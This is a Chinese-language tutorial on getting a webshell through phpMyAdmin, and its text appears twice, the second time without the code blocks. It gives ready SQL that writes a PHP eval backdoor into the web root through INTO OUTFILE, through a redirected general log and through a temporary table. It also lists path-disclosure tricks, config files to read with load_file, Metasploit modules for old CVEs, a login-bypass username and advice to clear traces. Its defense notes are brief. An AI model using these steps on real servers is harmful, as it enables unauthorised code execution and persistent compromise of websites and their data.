phpMydmin的GetShell思路
字数 1513 2025-08-18 11:39:19

phpMyAdmin GetShell 技术详解

1. phpMyAdmin 简介

phpMyAdmin 是一个基于 PHP 的 MySQL 数据库管理工具,允许网站管理员通过 Web 界面管理数据库。

2. 信息收集阶段

2.1 获取网站物理路径

物理路径是后续 GetShell 的关键前提,以下是多种获取方法:

2.1.1 数据库查询方法

select @@datadir;  -- 查询数据库存储路径来推测网站物理路径

2.1.2 配置文件爆路径

如果有文件读取权限,可通过 load_file 尝试读取配置文件:

Windows 系统常见配置文件路径:

c:\windows\php.ini
c:\windows\system32\inetsrv\MetaBase.xml  -- IIS虚拟主机配置文件

Linux 系统常见配置文件路径:

/etc/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf  -- 虚拟目录配置文件

2.1.3 其他爆路径方法

  • 单引号爆路径: www.abc.com/index.php?id=1' (要求单引号未被过滤且服务器返回错误信息)
  • 错误参数值爆路径: www.abc.com/index.php?id=-1
  • Nginx文件类型错误解析: www.abc.com/bg.jpg/x.php
  • Google搜索:
    site:xxx.com warning
    site:xxx.com "fatal error"
    
  • 测试文件:
    www.xxx.com/test.php
    www.xxx.com/ceshi.php
    www.xxx.com/info.php
    www.xxx.com/phpinfo.php
    www.xxx.com/php_info.php
    www.xxx.com/1.php
    
  • phpMyAdmin特定文件:
    phpMyAdmin/libraries/selectlang.lib.php
    phpMyAdmin/darkblueorange/layout.inc.php
    phpmyadmin/themes/darkblue_orange/layout.inc.php
    phpMyAdmin/index.php?lang[]=1
    /phpmyadmin/libraries/lect_lang.lib.php
    /phpMyAdmin/phpinfo.php
    /phpmyadmin/libraries/select_lang.lib.php
    /phpmyadmin/libraries/mcrypt.lib.php
    

2.2 其他信息收集

phpMyAdmin 后台面板可直接查看:

  • MySQL 版本
  • 当前用户
  • 操作系统
  • PHP 版本
  • phpMyAdmin 版本

或通过 SQL 查询:

select version();  -- 查看数据库版本
show VARIABLES like '%char%';  -- 查看系统变量

3. GetShell 前提条件

  1. 网站真实路径:必须知道才能通过 URL 连接 shell
  2. 读写权限:检查 secure_file_priv 参数
    select @@secure_file_priv;
    
    • NULL:禁止导入导出
    • '':不限制导入导出
    • /path/:只能向指定目录导入导出

4. GetShell 方法

4.1 常规 GetShell

直接通过 SQL 查询写入 shell:

select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';

4.2 日志 GetShell

适用于 MySQL 5.0+ 版本:

  1. 查询日志全局变量:

    show variables like '%general%';
    
    • general_log: 日志保存状态
    • general_log_file: 日志保存路径
  2. 开启日志并配置路径:

    set global general_log = "ON";  -- 打开日志保存
    set global general_log_file = "G:/phpstudy/WWW/log.php";  -- 设置日志保存路径
    
  3. 写入 shell:

    select '<?php eval($_POST[pwd]);?>';
    

4.3 新表 GetShell

  1. 新建数据表:

    Create TABLE shell_table (xiaoma text NOT NULL);
    
  2. 插入一句话木马:

    Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>');
    
  3. 导出到文件:

    select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php';
    
  4. 删除表:

    Drop TABLE IF EXISTS shell_table;
    

5. 特殊版本漏洞利用

5.1 CVE-2013-3238

  • 影响版本:3.5.x < 3.5.8.1 和 4.0.0 < 4.0.0-rc3
  • 利用模块:exploit/multi/http/phpmyadminpregreplace

5.2 CVE-2012-5159

  • 影响版本:phpMyAdmin v3.5.2.2
  • 利用模块:exploit/multi/http/phpmyadmin3522_backdoor

5.3 CVE-2009-1151

  • 漏洞位置:配置文件 /config/config.inc.php 存在命令执行
  • 影响版本:2.11.x < 2.11.9.5 和 3.x < 3.1.3.1
  • 利用模块:exploit/unix/webapp/phpmyadmin_config

6. 弱口令与万能密码

  1. 弱口令:phpmyadmin 2.11.9.2 版本可直接用 root 用户登录,无需密码
  2. 万能密码:2.11.3/2.11.4 版本,使用用户名 'localhost'@'@" 可登录成功

7. 防御措施

  1. 及时更新 phpMyAdmin 到最新版本
  2. 限制 phpMyAdmin 的访问权限
  3. 配置正确的 secure_file_priv 参数
  4. 禁用不必要的日志功能
  5. 使用强密码并定期更换
  6. 限制数据库用户的权限

8. 注意事项

  1. 所有技术仅用于合法授权测试
  2. 未经授权使用这些技术可能违反法律
  3. 操作前务必备份重要数据
  4. 测试完成后应及时清理痕迹
phpMyAdmin GetShell 技术详解 1. phpMyAdmin 简介 phpMyAdmin 是一个基于 PHP 的 MySQL 数据库管理工具,允许网站管理员通过 Web 界面管理数据库。 2. 信息收集阶段 2.1 获取网站物理路径 物理路径是后续 GetShell 的关键前提,以下是多种获取方法: 2.1.1 数据库查询方法 2.1.2 配置文件爆路径 如果有文件读取权限,可通过 load_ file 尝试读取配置文件: Windows 系统常见配置文件路径 : Linux 系统常见配置文件路径 : 2.1.3 其他爆路径方法 单引号爆路径 : www.abc.com/index.php?id=1' (要求单引号未被过滤且服务器返回错误信息) 错误参数值爆路径 : www.abc.com/index.php?id=-1 Nginx文件类型错误解析 : www.abc.com/bg.jpg/x.php Google搜索 : 测试文件 : phpMyAdmin特定文件 : 2.2 其他信息收集 phpMyAdmin 后台面板可直接查看: MySQL 版本 当前用户 操作系统 PHP 版本 phpMyAdmin 版本 或通过 SQL 查询: 3. GetShell 前提条件 网站真实路径 :必须知道才能通过 URL 连接 shell 读写权限 :检查 secure_file_priv 参数 NULL :禁止导入导出 '' :不限制导入导出 /path/ :只能向指定目录导入导出 4. GetShell 方法 4.1 常规 GetShell 直接通过 SQL 查询写入 shell: 4.2 日志 GetShell 适用于 MySQL 5.0+ 版本: 查询日志全局变量: general_log : 日志保存状态 general_log_file : 日志保存路径 开启日志并配置路径: 写入 shell: 4.3 新表 GetShell 新建数据表: 插入一句话木马: 导出到文件: 删除表: 5. 特殊版本漏洞利用 5.1 CVE-2013-3238 影响版本:3.5.x < 3.5.8.1 和 4.0.0 < 4.0.0-rc3 利用模块: exploit/multi/http/phpmyadminpregreplace 5.2 CVE-2012-5159 影响版本:phpMyAdmin v3.5.2.2 利用模块: exploit/multi/http/phpmyadmin3522_backdoor 5.3 CVE-2009-1151 漏洞位置:配置文件 /config/config.inc.php 存在命令执行 影响版本:2.11.x < 2.11.9.5 和 3.x < 3.1.3.1 利用模块: exploit/unix/webapp/phpmyadmin_config 6. 弱口令与万能密码 弱口令 :phpmyadmin 2.11.9.2 版本可直接用 root 用户登录,无需密码 万能密码 :2.11.3/2.11.4 版本,使用用户名 'localhost'@'@" 可登录成功 7. 防御措施 及时更新 phpMyAdmin 到最新版本 限制 phpMyAdmin 的访问权限 配置正确的 secure_file_priv 参数 禁用不必要的日志功能 使用强密码并定期更换 限制数据库用户的权限 8. 注意事项 所有技术仅用于合法授权测试 未经授权使用这些技术可能违反法律 操作前务必备份重要数据 测试完成后应及时清理痕迹